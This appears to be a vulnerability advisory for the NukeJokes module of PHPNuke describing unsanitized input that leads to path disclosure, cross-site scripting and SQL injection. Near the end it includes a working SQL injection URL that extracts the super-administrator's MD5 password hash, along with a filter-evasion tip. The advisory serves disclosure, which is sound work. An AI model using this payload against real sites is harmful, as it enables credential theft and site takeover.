NukeJokes Module For PhpNuke Multiple Vulnerabilities
------------------------------------------------------------------------
SUMMARY
" <http://funportal.beanwebb.com/> NukeJokes is an add-on for PHPNuke. It
has been tested with PHPNuke 6.0. It should work with 6.5 and some lower
versions but I haven't been able to test it. Nuke Jokes allows you to have
a database of jokes on your website. Jokes are separated into different
categories to make them easier to find. It includes the ability to rate
jokes, shows how many views they've had and other information. Also
includes a search engine. The admin area allows you to add, edit and
delete jokes and categories, install and uninstall the database and
validate user added jokes (Excerpt from README)".
Nearly all variables passed to NukeJokes are completely unsanitizied,
giving rise to a multitude of attacks such as cross-site scripting, path
disclosure and SQL injection.
DETAILS
Vulnerable Systems:
* NukeJokes version 2 Beta and prior
Almost all of SQL queries in NukeJokes are unsanitized. In effect,
variables that are received from the browser are passed directly to the
SQL queries.
Due to the large amount of vulnerable variables, only handful examples
will be presented:
Full Path Disclosure
http://localhost/nuke72/modules/NukeJokes/mainfunctions.php
http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=foobar
http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=foobar
Cross-Site Scripting
http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=[xss
code here]
http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=[xss code here]
SQL Injection
The following URL can be used to grab the super user's MD5 password:
http://localhost/nuke72/modules.php?name=NukeJokes&file=print&jokeid=-1
UNION SELECT aid,pwd FROM nuke_authors WHERE radminsuper=1 LIMIT 1/*
(NOTE: Intermediate spaces ' ' should be replaced with '/**/', without the
quotes).
